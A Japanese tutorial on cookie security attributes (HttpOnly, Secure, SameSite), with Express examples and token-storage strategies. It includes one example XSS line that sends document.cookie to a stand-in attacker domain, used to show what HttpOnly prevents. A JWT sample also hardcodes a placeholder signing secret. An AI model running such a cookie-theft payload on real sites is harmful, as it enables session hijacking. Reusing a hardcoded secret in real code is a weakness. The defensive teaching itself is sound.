ウェブ開発をしていると、Cookieはユーザーデータを保存してセッションを管理するために必要不可欠なツールです。しかし、Cookieを安全に管理しないとセキュリティーリスクが発生する可能性があり、これを防止するためにCookieにはHttpOnly、Secure、SameSiteのような属性が存在します。
この記事では、この3つの属性の役割と重要性を説明し、どのように設定すべきか、実用的な例と一緒にまとめてみました。
HttpOnly属性
HttpOnly
属性はCookieをクライアント側スクリプトからアクセスできないように制限する属性です。この属性を設定すると、CookieはHTTP/HTTPSリクエストを通じてのみサーバーに送信されます。
サーバーの設定例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });
ヘッダには次のように設定します。
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly
一般的なクッキーは次のようにクライアント側スクリプトからアクセスすることができます。
// Set-Cookie: normalCookie=thisisvisible; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"
しかし、HttpOnly設定を適用したクッキーは**、クライアント側スクリプトからアクセスすることができません**。
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/
// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnly 쿠키는 보이지 않음)
HttpOnlyによるXSS防止
Cookieはウェブでユーザーのセッションを認証するために多く使用されます。XSS(Cross-Site Scripting)攻撃は、ウェブサイトに悪意のあるスクリプトを挿入してユーザーのCookie(例えば、セッションID)を盗み出すことができる攻撃方法です。
例えば、悪意のあるユーザーが次のようなスクリプトを実行させることができます。
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnlyを設定すると、攻撃者がJavaScriptでCookieにアクセスできないため、セッションハイジャックのような脅威を減らすことができます。
Secure属性
HttpOnlyでクライアントからのアクセスを防いだとしても、Httpで通信する場合、中間者攻撃により、やはり乗っ取られる可能性があります。Secure属性を使用すると、Cookieが暗号化されたHTTPS接続を介してのみ送信されるため、このようなリスクを減らすことができます。
サーバー設定例
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });
ヘッダには次のように設定します。
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure
⚠️ 注意
Secure
属性はクッキー自体を暗号化するのではなく、暗号化された接続(HTTPS)でのみ送信されるように制限するものです。 したがって、Secureを設定しても、機密情報(パスワード、クレジットカード、個人識別子など)は絶対にクッキーに入れない方が良いです。このオプションは完全なセキュリティではありません。
SameSite属性
SameSite
属性は、Cookieがクロスサイトリクエストと一緒に送信される方法を制御します。これにより、CSRF(Cross-Site Request Forgery)攻撃や不要な情報漏洩を防ぐことができます。この属性は、この記事を書いている時点(2025年4月)までは実験的な機能であり、まだすべてのブラウザでサポートされていません。
サーバー設定例
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // 기본값(Chrome 80+)
ヘッダには次のように設定します。
Set-Cookie: sessionId=sanghyeon; SameSite=Lax
動作方法
SameSite
属性は、Cookieがどのような種類のリクエスト(同一サイトリクエストとクロスサイトリクエスト)に含まれるかを決定します。以下の3つの値を持つことができます。
Strict
最も厳密な設定。クッキーは、現在のウェブサイトと同じサイト(Same-Site)から開始されたリクエストにのみ含まれます。他のウェブサイトからリンクをクリックして入ってきた場合など、外部サイトから開始されたリクエストにはクッキーが送信されません。Lax
(デフォルト):Strict
より少し緩和された設定。基本的にはStrict
と同じように動作しますが、外部リンクをクリックしてサイトに移動する場合やGETリクエストにはCookieを送信します。None
同一サイトリクエスト、クロスサイトリクエストの両方にクッキーが送信されます。ただし、SameSite=None
を使用するには、Secure
属性も一緒に設定する必要があります。 つまり、HTTPS 接続でのみ動作します。主に外部サービス連動、広告トラッキングなど、クロスサイトコンテキストでクッキーを使用する必要がある場合に必要です。
認証のためのクッキー管理戦略
1. 二重Cookie戦略:セキュリティとアクセシビリティの両方を確保する
ブラウザでCookieにアクセスする必要があり、セキュリティも重要な場合は、2種類のCookieを使用する戦略があります。
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
isLoggedIn: true,
username: '사용자명',
role: '사용자'
}));
- 実際の認証に使われるトークンはHttpOnlyクッキーで保護する。
- UIに必要な情報は一般的なクッキーでJavaScriptのアクセスを許可する。
2. JWTとクッキーの安全な使用
JWTはローカルストレージよりHttpOnlyクッキーに保存する方が安全です。
javascript
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1시간
});
3. トークン寿命管理とリフレッシュ戦略
セキュリティを強化するために、短い寿命のアクセストークンと長い寿命のリフレッシュトークンを組み合わせる戦略もあります。
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000 // 15분
});
// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7일
});
- アクセストークンが盗まれたとしても、短時間で有効期限が切れる。
- リフレッシュトークンは、特定のAPIパスのみに制限し、露出を最小限に抑える。
- 定期的なトークン更新でセキュリティを強化
まとめ
ウェブでCookieはユーザー認証とセッション管理に欠かせない要素です。この記事で説明したように、HttpOnly、Secure、SameSite属性を適切に使用することで、XSS、CSRF、セッションハイジャックなどの様々な攻撃から保護することができます。
ウェブ開発者としてユーザーのデータとプライバシーを保護する責任があるので。クッキーのセキュリティ属性を理解し、適切に使用しましょう!